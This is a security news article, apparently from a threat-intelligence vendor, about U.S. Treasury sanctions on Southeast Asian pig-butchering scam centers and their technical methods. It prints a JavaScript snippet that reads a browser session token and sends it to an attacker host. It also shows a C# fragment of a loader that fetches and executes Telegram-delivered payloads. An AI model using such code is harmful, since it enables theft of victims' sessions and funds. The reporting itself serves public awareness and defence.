U.S. Treasury Sanctions Scam Centers in Southeast Asia that Steal Billions

The U.S. Department of the Treasury has unveiled a sweeping sanctions campaign against a network of cyber scam centers across Southeast Asia that collectively stole more than ten billion dollars from American victims in 2024.

These operations, often masquerading as legitimate virtual currency investment platforms, relied on sophisticated social engineering techniques to coax users into wiring funds, only to abscond with deposits once trust had been established.

From trampling human rights through forced labor to deploying high-pressure quotas for coerced operators, the network’s reach extended from isolated compounds in Myanmar to casino resorts turned criminal hubs in Cambodia.

Emerging in earnest during the pandemic’s early months, these “pig butchering” scams combined elements of romance fraud, mobile messaging exploits and fraudulent blockchain tutorials to create an illusion of credible returns.

Virtual currency investment websites were provisioned with real-time price feeds, SSL certificates and user dashboards that mimicked reputable exchanges.

Backend malware kits, often installed on coercively recruited operators’ workstations, facilitated automated spoofing of payment notifications and social account takeovers.

U.S. Treasury analysts identified code modules that intercepted SMS one-time-passcodes and injected synthetic transaction confirmations, enabling scammers to bypass two-factor authentication with alarming reliability.

As these centers scaled up, trafficked individuals—some held under threat of debt bondage—were trained to run callers through scripted dialogues that leveraged open-source intelligence to personalize pitches.

Victims were prompted to run benign-looking JavaScript snippets in their browsers to “verify wallet connectivity,” unknowingly granting scam operators access to their local session storage.

An example of this malicious script, recovered during Treasury investigations, illustrates how session tokens were harvested:-

(async () => {
  const token = localStorage.getItem('auth_token');
  await fetch('https://malicious.scam/api/steal', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ token, balance: window.wallet.balance })
  });
})();

U.S. Treasury analysts noted that this snippet bypassed common Content Security Policy (CSP) restrictions by exploiting browser extensions that allowed remote script injection through JSON-RPC interfaces.

Persistence Tactics

Within the heart of the Burma-based hub known as Yatai New City, operators deployed custom persistence mechanisms to maintain continuous control over compromised accounts and internal workstations.

A lightweight C# loader, dubbed “BeaconYatai,” was embedded within legitimate video conferencing tools to establish resilient command-and-control channels.

Once installed, BeaconYatai registered itself as a Windows service named “SvcUpdate,” automatically relaunching at boot.

The service periodically polled a disguised endpoint on the Telegram API to fetch encrypted task payloads, decrypting them using a hardcoded RSA key:-

RSAParameters rsaKey = LoadKey("-----BEGIN RSA PRIVATE KEY-----...");
byte[] payload = FetchFromTelegram().Decrypt(rsaKey);
ExecutePayload(payload);

By intertwining social coercion, advanced scripting exploits and custom malware persistence, these scam centers achieved high operational uptime, making the Treasury’s sanctions a critical step toward dismantling a multimillion-dollar criminal enterprise.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.